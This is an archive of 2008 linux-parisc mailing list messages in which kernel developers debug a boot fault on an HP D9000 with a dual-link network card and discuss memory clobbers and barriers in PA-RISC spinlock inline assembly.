References: <20080629151759.GA7856@spring.luon.net> <1214755234.3405.5.camel@localhost.localdomain> <20080629162220.GL14894@parisc-linux.org> <4867CC47.8030307@scarlet.be> <20080629175704.GA8384@spring.luon.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214763141 10563 80.91.229.12 (29 Jun 2008 18:12:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 18:12:21 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Sjoerd Simons <sjoerd@luon.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 20:13:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD1OM-0008LA-Vb
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 20:12:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754551AbYF2SL6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 14:11:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754621AbYF2SL6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 14:11:58 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:37057 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754551AbYF2SL5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 14:11:57 -0400
Original-Received: from [213.49.81.46] (ip-213-49-81-46.dsl.scarlet.be [213.49.81.46])
	(authenticated bits=0)
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5TIBnsD025930;
	Sun, 29 Jun 2008 20:11:50 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080629175704.GA8384@spring.luon.net>
X-DCC-scarlet.be-Metrics: sif 20001; Body=5 Fuz1=5 Fuz2=5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/472>



Sjoerd Simons wrote:
> On Sun, Jun 29, 2008 at 05:54:15PM +0000, Joel Soete wrote:
>>   But I think it's Dino.
>> hypothesis easy to verify: just remove this card.
> 
> Without the card the machine seems to work fine indeed.
> 
tx for feedback.

btw, sorry if I miss it but what kind system is: a C, D or a K model?

Tx,
	J.

>   Sjoerd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sjoerd Simons <sjoerd@luon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 19:38:23 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20080629183823.GA19385@spring.luon.net>
References: <20080629151759.GA7856@spring.luon.net> <1214755234.3405.5.camel@localhost.localdomain> <20080629162220.GL14894@parisc-linux.org> <4867CC47.8030307@scarlet.be> <20080629175704.GA8384@spring.luon.net> <4867D065.6080205@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214764727 14776 80.91.229.12 (29 Jun 2008 18:38:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 18:38:47 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 20:39:32 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD1o8-0007c3-Bi
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 20:39:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755166AbYF2Sif (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 14:38:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755194AbYF2Sif
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 14:38:35 -0400
Original-Received: from cube.ipv4.spacelabs.nl ([192.87.65.66]:37274 "EHLO
	cube.luon.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755166AbYF2Sif (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 14:38:35 -0400
Original-Received: from localhost (cube.luon.net [127.0.0.1])
	by cube.luon.net (Postfix) with ESMTP id D1C2E3BD4B;
	Sun, 29 Jun 2008 20:38:30 +0200 (CEST)
Original-Received: from cube.luon.net ([127.0.0.1])
	by localhost (cube.luon.net [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Dg+PD6KWu0H4; Sun, 29 Jun 2008 20:38:30 +0200 (CEST)
Original-Received: from spring.luon.net (lump.einval.com [78.32.9.209])
	by cube.luon.net (Postfix) with ESMTP id 36CFB3BD35;
	Sun, 29 Jun 2008 20:38:30 +0200 (CEST)
Original-Received: by spring.luon.net (Postfix, from userid 1000)
	id 759AC318BE; Sun, 29 Jun 2008 19:38:23 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <4867D065.6080205@scarlet.be>
X-Operating-System: Linux spring 2.6.25-2-powerpc #1 Thu Jun 12 17:54:44
	UTC 2008 ppc GNU/Linux
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/473>

On Sun, Jun 29, 2008 at 06:11:49PM +0000, Joel Soete wrote:
>
>
> Sjoerd Simons wrote:
>> On Sun, Jun 29, 2008 at 05:54:15PM +0000, Joel Soete wrote:
>>>   But I think it's Dino.
>>> hypothesis easy to verify: just remove this card.
>>
>> Without the card the machine seems to work fine indeed.
>>
> tx for feedback.
>
> btw, sorry if I miss it but what kind system is: a C, D or a K model?

This is a D9000 machine with a D220 processor

  Sjoerd
-- 
All science is either physics or stamp collecting.
		-- Ernest Rutherford
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2
	optimization?
Date: Sun, 29 Jun 2008 14:52:42 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20080629205242.GA7629@colo.lackof.org>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be> <20080628202347.GA23898@colo.lackof.org> <4866BA91.9040607@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214772790 4456 80.91.229.12 (29 Jun 2008 20:53:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 20:53:10 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 22:53:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD3u9-0003Eh-Fc
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 22:53:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753737AbYF2Uw4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 16:52:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753988AbYF2Uw4
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 16:52:56 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60872 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753737AbYF2Uw4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 16:52:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4985B6F803B;
	Sun, 29 Jun 2008 14:52:53 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05057-10; Sun, 29 Jun 2008 14:52:42 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B80464F80FF; Sun, 29 Jun 2008 14:52:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4866BA91.9040607@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:474
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/474>

On Sat, Jun 28, 2008 at 10:26:25PM +0000, Joel Soete wrote:
...
>> What's wrong with "ci" variable? It's just another register.
> well the idea is that "ci" variable is just there as a tmp variable just 
> used in this asm code, right.
> so why not simply get rid of its declaration (btw save a line of code ;-)) 
> and just use a common temporay reg as r19?

No - don't do that. Let the compiler do the work of allocating registers.
It's really good at it. :)  Much better than you and I combined. :)
All we need to do is tell the compiler we need a register.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Another ldcw inline assembler patch
Date: Sun, 29 Jun 2008 14:55:56 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20080629205556.GA8381@colo.lackof.org>
References: <20080628220756.GA8620@hiauly1.hia.nrc.ca> <20080628233406.GI14894@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214772979 4949 80.91.229.12 (29 Jun 2008 20:56:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 20:56:19 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 22:57:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD3xE-0003Eh-Ff
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 22:57:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753737AbYF2U4I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 16:56:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754496AbYF2U4I
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 16:56:08 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60904 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753737AbYF2U4G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 16:56:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9AD1E6F803C;
	Sun, 29 Jun 2008 14:56:06 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08348-02; Sun, 29 Jun 2008 14:55:56 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 36A2B6F803B; Sun, 29 Jun 2008 14:55:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080628233406.GI14894@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/475>

On Sat, Jun 28, 2008 at 05:34:07PM -0600, Matthew Wilcox wrote:
> On Sat, Jun 28, 2008 at 06:07:57PM -0400, John David Anglin wrote:
> > There are two reasons to expose the memory *a in the asm:
> > 
> > 1) To prevent the compiler from discarding a preceeding write to *a, and
> > 2) to prevent it from caching *a in a register over the asm.
> 
> Do either of those scenarios apply, given that every usage of this is
> preceded by an asm clobbering memory?
> 
> I believe the correct thing to do is to take out the two mb()s in the
> various spin_lock routines and make the __ldcw() macro itself clobber
> memory.

I agree. Do you want jda to submit another patch or did you want kyle to
take jda's patch and apply a second one to remove the mb()'s?

thanks.
grant

> 
> -- 
> Intel are signing my paycheques ... these opinions are still mine
> "Bill, look, we understand that you're interested in selling us this
> operating system, but compare it to ours.  We can't possibly take such
> a retrograde step."
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 15:05:27 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20080629210527.GB8381@colo.lackof.org>
References: <20080629151759.GA7856@spring.luon.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214773564 6770 80.91.229.12 (29 Jun 2008 21:06:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 21:06:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Sjoerd Simons <sjoerd@luon.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 23:06:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD46c-0006SE-3I
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 23:06:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751845AbYF2VFt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 17:05:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751888AbYF2VFt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 17:05:49 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:32776 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751845AbYF2VFt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 17:05:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E832C4F80FF;
	Sun, 29 Jun 2008 15:05:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07972-07; Sun, 29 Jun 2008 15:05:36 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DD5006F803B; Sun, 29 Jun 2008 15:05:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080629151759.GA7856@spring.luon.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/476>

On Sun, Jun 29, 2008 at 04:17:59PM +0100, Sjoerd Simons wrote:
> Hi,
> 
>   Kernel 2.6.24 causes the machine to fault when a dual-link network card is
>   installed right after loading the tulip module. Output of SER PIM attached.

BTW, once you've captured a PIM, it needs to be cleared with "ser clearpim"
before it will record the next one.

And thanks - this confirmed what several had suspected:

Timestamp =   Sun Jun  29 14:45:18 GMT 2008    (20:08:06:29:14:45:18)

Bus      HPA       Module Type      Path  Slt Md Sev Estat Requestor Responder
----- ---------- ---------------- -------- -- -- --- ---- ---------- ----------
GSC   0x0000006d A DMA I/O        8/8       2  0 fe  0x03 0x00000000 0x00000000

Type "io info" will dump all the IO devices and you can match the "8/8"
path to the offending device. I suspect it's the card-mode Dino as well.

We probably need to enable "PCI_DEBUG" which depends on "DEBUG_KERNEL".
Enable both of those, then capture the console output when booting
that kernel. We can then walk through the Dino and PCI code to see
what didn't get setup correctly.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Another ldcw inline assembler patch
Date: Sun, 29 Jun 2008 16:09:27 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <1214773767.3405.17.camel@localhost.localdomain>
References: <20080628220756.GA8620@hiauly1.hia.nrc.ca>
	 <20080628233406.GI14894@parisc-linux.org>
	 <20080629205556.GA8381@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214773780 7381 80.91.229.12 (29 Jun 2008 21:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 21:09:40 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 23:10:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD4AD-0007gn-E3
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 23:10:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751407AbYF2VJc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 17:09:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751845AbYF2VJc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 17:09:32 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:60744 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751407AbYF2VJb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 17:09:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 0611682A4;
	Sun, 29 Jun 2008 16:09:29 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1214773770; bh=84U1t/w2ILjBNp/JnO6U9fi4OuvSYN1zCHaVIebeTM
	8=; l=1656; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=LS7x5qQms/Wnpspn0/lRhKX4eEtL16PxDmPDM
	qT6GuVD81D9WS0qQAlVjD+fWXZl0aH7cVzZNun8noNYhEOaKTWdrsaVGIGJoQKN1p1x
	l60wF2/OChvf76P/vcPY7Pa9oVz9WugFL3NNqco+Oa4u8gEl64aSYcc1NKrtAHcE5cQ
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id AjAXuYAStVEZ; Sun, 29 Jun 2008 16:09:28 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 652E8828D;
	Sun, 29 Jun 2008 16:09:28 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1214773768; bh=84U1t/w2ILjBNp/JnO6U9fi4OuvSYN1zCHaVIebeTM
	8=; l=1656; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:
	 Content-Transfer-Encoding; b=MlsXkykT7jpD58uzAWaLFB+HDapvHA8hI7WJv
	kZj8dXsX6K3PNMOx80BIrMWbWg5VoZ4xFxSn0wN7HKZ+Bpq+RA3+RrmjDKUN1O7ZBPL
	BvLt9oObxSuEX3TewSkICblCjlk7HkDYdlaHdJBp4YSgEE+HJ1ZRycdOLstbpIbf418
	=
In-Reply-To: <20080629205556.GA8381@colo.lackof.org>
X-Mailer: Evolution 2.22.2 (2.22.2-2.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/477>

On Sun, 2008-06-29 at 14:55 -0600, Grant Grundler wrote:
> On Sat, Jun 28, 2008 at 05:34:07PM -0600, Matthew Wilcox wrote:
> > On Sat, Jun 28, 2008 at 06:07:57PM -0400, John David Anglin wrote:
> > > There are two reasons to expose the memory *a in the asm:
> > > 
> > > 1) To prevent the compiler from discarding a preceeding write to *a, and
> > > 2) to prevent it from caching *a in a register over the asm.
> > 
> > Do either of those scenarios apply, given that every usage of this is
> > preceded by an asm clobbering memory?
> > 
> > I believe the correct thing to do is to take out the two mb()s in the
> > various spin_lock routines and make the __ldcw() macro itself clobber
> > memory.
> 
> I agree. Do you want jda to submit another patch or did you want kyle to
> take jda's patch and apply a second one to remove the mb()'s?

I really wouldn't do that.  Parisc is fairly unique in that we have C
spinlocks (most other architectures have asm coded ones).  The
requirement of the spinlock routines are that they be atomic memory
clobbers (as in the sequence of statements that does one shouldn't be
moved by the compiler)---which is why our C ones have mb before and
after.

if you make __ldcw() a memory clobber, that will pretty much cover the
atomic memory clobber requirements of __raw_spin_lock_flags() ... but
look at the rest of them ... it won't cover for them.  If we have to
have these mb()s in the rest, it makes sense to have them in
__raw_spin_lock_flags() as well, just to avoid problems if someone tries
to optimise again.  There probably should be a comment in this file to
that effect.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel fault when booting with dual link network card
Date: Sun, 29 Jun 2008 15:11:14 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20080629211114.GA9572@colo.lackof.org>
References: <20080629151759.GA7856@spring.luon.net> <1214755234.3405.5.camel@localhost.localdomain> <20080629162220.GL14894@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214773897 7741 80.91.229.12 (29 Jun 2008 21:11:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 29 Jun 2008 21:11:37 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Sjoerd Simons <sjoerd@luon.net>, linux-parisc@vger.kernel.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 29 23:12:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KD4C3-00089y-35
	for glpp-linux-parisc@gmane.org; Sun, 29 Jun 2008 23:12:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751771AbYF2VL0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jun 2008 17:11:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752099AbYF2VL0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 29 Jun 2008 17:11:26 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:32835 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751771AbYF2VLZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jun 2008 17:11:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 57E9D4F80FF;
	Sun, 29 Jun 2008 15:11:25 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09589-01; Sun, 29 Jun 2008 15:11:15 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F1C1A6F803B; Sun, 29 Jun 2008 15:11:14 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080629162220.GL14894@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/478>

On Sun, Jun 29, 2008 at 10:22:21AM -0600, Matthew Wilcox wrote:
...
> > the I/O module error seems to indicate an incorrect GSC DMA read.
> 
> I don't think it's going to tell us anything useful.  I believe that
> we've not set up the cardmode Dino correctly to respond to iomem space
> and as a result the first access to iomem space will fault.

It depends on if the first access is a read or a write. If it's a read
(and odds are good that's true), we will get the exact IP that faulted 
and get something about "CPU timeout" in the PIM dump.

